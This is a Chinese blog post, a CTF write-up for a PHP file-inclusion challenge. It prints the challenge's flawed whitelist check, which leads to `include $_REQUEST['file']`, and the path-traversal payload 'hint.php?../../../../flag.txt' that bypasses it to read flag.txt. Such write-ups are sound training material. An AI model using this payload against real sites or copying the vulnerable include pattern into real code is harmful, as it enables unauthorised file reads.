

云演-Web文件包含-writeup

原创

秋风瑟瑟... 于 2020-06-15 11:05:15 发布 212 收藏

分类专栏: [云演](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/qq_45628145/article/details/106757769

版权



[云演 专栏收录该内容](#)

6 篇文章 0 订阅

订阅专栏

phpmyadmin

页面里面有一个hint, 提示flag在flag.txt里面, 但是按照url里面的那种包含, 也显示不了

← → ↻ ⓘ 不安全 | 92a4f769.yunyansec.com/index.php?file=flag.txt

you can't see it

发现源码里面有一个source.php

← → ↻ ⓘ 不安全 | view-source:92a4f769.yunyansec.com

```
1 <div style="text-align:center;"><b>Warmup</b><br><a href="/index.php?file=hint.php">hint</a><br><!--source.php--></div><div style="text-align:center;"><br></div>
```

```

<?php
class pma
{
    public static function checkFile(&$page)
    {
        $whitelist = ["source"=>"source.php", "hint"=>"hint.php"]; //白名单
        if (! isset($page) || !is_string($page)) {
            echo "you can't see it";
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?') //这里用?分割字符串, 取第一个?前字符串判断是不是在白名单里面
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }
        echo "you can't see it";
        return false;
    }
}

if (! empty($_REQUEST['file'])
    && is_string($_REQUEST['file'])
    && pma::checkFile($_REQUEST['file']))
{
    include $_REQUEST['file'];
    exit;
} else {
    echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

```

可以构造这样的payload来绕过

```
?file=hint.php?flag.txt
```

最终找到路径是

```
?file=hint.php?../../../../../../../../flag.txt
```

得到flag

← → ↻ ⓘ 不安全 | 92a4f769.yunyansec.com/index.php?file=hint.php?../../../../flag.txt

flag{4eds8gh34b924wgse}



[创作打卡挑战赛](#) >

赢取流量/现金/CSDN周边激励大奖